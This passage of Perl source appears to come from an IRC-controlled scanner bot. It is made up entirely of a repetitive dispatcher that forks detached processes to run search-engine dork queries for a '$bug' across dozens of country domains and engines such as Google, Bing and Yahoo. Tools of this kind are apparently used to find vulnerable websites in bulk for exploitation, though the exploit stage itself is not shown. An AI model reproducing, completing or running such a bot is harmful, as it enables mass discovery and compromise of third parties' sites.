($engine =~ /ie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IE",$type); } exit; } } if ($engine =~ /im/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IM",$type); } exit; } } if ($engine =~ /je/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JE",$type); } exit; } } if ($engine =~ /jo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JO",$type); } exit; } } if ($engine =~ /kz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KZ",$type); } exit; } } if ($engine =~ /ke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KE",$type); } exit; } } if ($engine =~ /kg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KG",$type); } exit; } } if ($engine =~ /lv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LV",$type); } exit; } } if ($engine =~ /ls/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LS",$type); } exit; } } if ($engine =~ /ly/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LY",$type); } exit; } } if ($engine =~ /li/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LI",$type); } exit; } } if ($engine =~ /lt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LT",$type); } exit; } } if ($engine =~ /lu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LU",$type); } exit; } } if ($engine =~ /mw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MW",$type); } exit; } } if ($engine =~ /mt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MT",$type); } exit; } } if ($engine =~ /mu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MU",$type); } exit; } } if ($engine =~ /fm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"FM",$type); } exit; } } if ($engine =~ /mn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MN",$type); } exit; } } if ($engine =~ /ms/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MS",$type); } exit; } } if ($engine =~ /ma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MA",$type); } exit; } } if ($engine =~ /na/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NA",$type); } exit; } } if ($engine =~ /np/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NP",$type); } exit; } } if ($engine =~ /nz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NZ",$type); } exit; } } if ($engine =~ /ni/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NI",$type); } exit; } } if ($engine =~ /nf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NF",$type); } exit; } } if ($engine =~ /no/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NO",$type); } exit; } } if ($engine =~ /om/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"OM",$type); } exit; } } if ($engine =~ /pk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PK",$type); } exit; } } if ($engine =~ /pa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PA",$type); } exit; } } if ($engine =~ /py/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PY",$type); } exit; } } if ($engine =~ /pe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PE",$type); } exit; } } if ($engine =~ /pn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PN",$type); } exit; } } if ($engine =~ /pt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PT",$type); } exit; } } if ($engine =~ /pr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PR",$type); } exit; } } if ($engine =~ /qa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"QA",$type); } exit; } } if ($engine =~ /rw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"RW",$type); } exit; } } if ($engine =~ /sh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SH",$type); } exit; } } if ($engine =~ /sm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SM",$type); } exit; } } if ($engine =~ /sa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SA",$type); } exit; } } if ($engine =~ /sn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SN",$type); } exit; } } if ($engine =~ /sc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SC",$type); } exit; } } if ($engine =~ /sg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SG",$type); } exit; } } if ($engine =~ /sk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SK",$type); } exit; } } if ($engine =~ /za/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ZA",$type); } exit; } } if ($engine =~ /lk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LK",$type); } exit; } } if ($engine =~ /vc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"VC",$type); } exit; } } if ($engine =~ /se/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SE",$type); } exit; } } if ($engine =~ /ch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CH",$type); } exit; } } if ($engine =~ /tw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TW",$type); } exit; } } if ($engine =~ /tj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TJ",$type); } exit; } } if ($engine =~ /bs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BS",$type); } exit; } } if ($engine =~ /to/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TO",$type); } exit; } } if ($engine =~ /tt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TT",$type); } exit; } } if ($engine =~ /tr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TR",$type); } exit; } } if ($engine =~ /tm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TM",$type); } exit; } } if ($engine =~ /vi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"VI",$type); } exit; } } if ($engine =~ /ug/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UG",$type); } exit; } } if ($engine =~ /uy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UY",$type); } exit; } } if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UZ",$type); } exit; } } if ($engine =~ /ve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"VE",$type); } exit; } } if ($engine =~ /vn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"VN",$type); } exit; } } if ($engine =~ /zm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ZM",$type); } exit; } } if ($engine =~ /museum/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MUSEUM",$type); } exit; } } if ($engine =~ /ws/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"WS",$type); } exit; } } if ($engine =~ /af/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AF",$type); } exit; } } if ($engine =~ /ax/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AX",$type); } exit; } } if ($engine =~ /al/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AL",$type); } exit; } } if ($engine =~ /dz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"DZ",$type); } exit; } } if ($engine =~ /ao/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AO",$type); } exit; } } if ($engine =~ /aq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AQ",$type); } exit; } } if ($engine =~ /am/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AM",$type); } exit; } } if ($engine =~ /aw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AW",$type); } exit; } } if ($engine =~ /ac/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AC",$type); } exit; } } if ($engine =~ /bj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BJ",$type); } exit; } } if ($engine =~ /bm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BM",$type); } exit; } } if ($engine =~ /bt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BT",$type); } exit; } } if ($engine =~ /io/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IO",$type); } exit; } } if ($engine =~ /bn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BN",$type); } exit; } } if ($engine =~ /bf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BF",$type); } exit; } } if ($engine =~ /kh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KH",$type); } exit; } } if ($engine =~ /cm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CM",$type); } exit; } } if ($engine =~ /cv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CV",$type); } exit; } } if ($engine =~ /ky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KY",$type); } exit; } } if ($engine =~ /cf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CF",$type); } exit; } } if ($engine =~ /cx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CX",$type); } exit; } } if ($engine =~ /cw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CW",$type); } exit; } } if ($engine =~ /cy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CY",$type); } exit; } } if ($engine =~ /fk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"FK",$type); } exit; } } if ($engine =~ /fo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"FO",$type); } exit; } } if ($engine =~ /gh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GH",$type); } exit; } } if ($engine =~ /gd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GD",$type); } exit; } } if ($engine =~ /gp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GP",$type); } exit; } } if ($engine =~ /gu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GU",$type); } exit; } } if ($engine =~ /gn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GN",$type); } exit; } } if ($engine =~ /gy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GY",$type); } exit; } } if ($engine =~ /hm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HM",$type); } exit; } } if ($engine =~ /iq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IQ",$type); } exit; } } if ($engine =~ /jm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JM",$type); } exit; } } if ($engine =~ /ki/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KI",$type); } exit; } } if ($engine =~ /kw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KW",$type); } exit; } } if ($engine =~ /la/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LA",$type); } exit; } } if ($engine =~ /lb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LB",$type); } exit; } } if ($engine =~ /lr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LR",$type); } exit; } } if ($engine =~ /mo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MO",$type); } exit; } } if ($engine =~ /mg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MG",$type); } exit; } } if ($engine =~ /mv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MV",$type); } exit; } } if ($engine =~ /mp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MP",$type); } exit; } } if ($engine =~ /mq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MQ",$type); } exit; } } if ($engine =~ /mr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MR",$type); } exit; } } if ($engine =~ /yt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"YT",$type); } exit; } } if ($engine =~ /md/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MD",$type); } exit; } } if ($engine =~ /mc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MC",$type); } exit; } } if ($engine =~ /me/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ME",$type); } exit; } } if ($engine =~ /mz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MZ",$type); } exit; } } if ($engine =~ /nr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NR",$type); } exit; } } if ($engine =~ /nc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NC",$type); } exit; } } if ($engine =~ /ng/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NG",$type); } exit; } } if ($engine =~ /nu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NU",$type); } exit; } } if ($engine =~ /pw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PW",$type); } exit; } } if ($engine =~ /ps/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PS",$type); } exit; } } if ($engine =~ /cq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CQ",$type); } exit; } } if ($engine =~ /re/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"RE",$type); } exit; } } if ($engine =~ /lc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LC",$type); } exit; } } if ($engine =~ /pm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PM",$type); } exit; } } if ($engine =~ /st/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ST",$type); } exit; } } if ($engine =~ /rs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"RS",$type); } exit; } } if ($engine =~ /gs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GS",$type); } exit; } } if ($engine =~ /sl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SL",$type); } exit; } } if ($engine =~ /sx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SX",$type); } exit; } } if ($engine =~ /sb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SB",$type); } exit; } } if ($engine =~ /so/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SO",$type); } exit; } } if ($engine =~ /su/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SU",$type); } exit; } } if ($engine =~ /kn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KN",$type); } exit; } } if ($engine =~ /sr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SR",$type); } exit; } } if ($engine =~ /tz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TZ",$type); } exit; } } if ($engine =~ /tl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TL",$type); } exit; } } if ($engine =~ /tg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TG",$type); } exit; } } if ($engine =~ /tk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TK",$type); } exit; } } if ($engine =~ /tn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TN",$type); } exit; } } if ($engine =~ /tc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TC",$type); } exit; } } if ($engine =~ /vu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"VU",$type); } exit; } } if ($engine =~ /wf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"WF",$type); } exit; } } if ($engine =~ /ye/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"YE",$type); } exit; } } if ($engine =~ /zw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ZW",$type); } exit; } } if ($engine =~ /pagatcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"Pagatcom",$type); } exit; } } if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLe",$type); } exit; } } if ($engine =~ /yahoo2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"Yahoo2",$type); } exit; } } if ($engine =~ /kvasir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KvaSiR",$type); } exit; } } if ($engine =~ /quint/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"Quint",$type); } exit; } } if ($engine =~ /pagina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"Pagina",$type); } exit; } } if ($engine =~ /clix/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"Clix",$type); } exit; } } if ($engine =~ /ask2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ask2",$type); } exit; } } if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"Bing",$type); } exit; } } if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BigLobe",$type); } exit; } } if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"WaLLa",$type); } exit; } } if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"YaHoo",$type); } exit; } } if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsK",$type); } exit; } } if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"OnEt",$type); } exit; } } if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CLusTy",$type); } exit; } } if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SaPo",$type); } exit; } } if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AoL",$type); } exit; } } if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LyCos",$type); } exit; } } if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HotBot",$type); } exit; } } if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SeZNam",$type); } exit; } } if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UoL",$type); } exit; } } if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CLusTy",$type); } exit; } } if ($engine =~ /webcrawler/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"webcrawler",$type); } exit; } } if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"clusty",$type); } exit; } } if ($engine =~ /witch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"witch",$type); } exit; } } if ($engine =~ /amidalla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"amidalla",$type); } exit; } } if ($engine =~ /gibla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"gibla",$type); } exit; } } if ($engine =~ /mywebsearch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"mywebsearch",$type); } exit; } } if ($engine =~ /dogpile/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"dogpile",$type); } exit; } } if ($engine =~ /infocom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"infocom",$type); } exit; } } if ($engine =~ /searchcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"searchcom",$type); } exit; } } if ($engine =~ /teoma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"teoma",$type); } exit; } } if ($engine =~ /volunia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"volunia",$type); } exit; } } if ($engine =~ /izito/i) { if (my $pid = fork) { 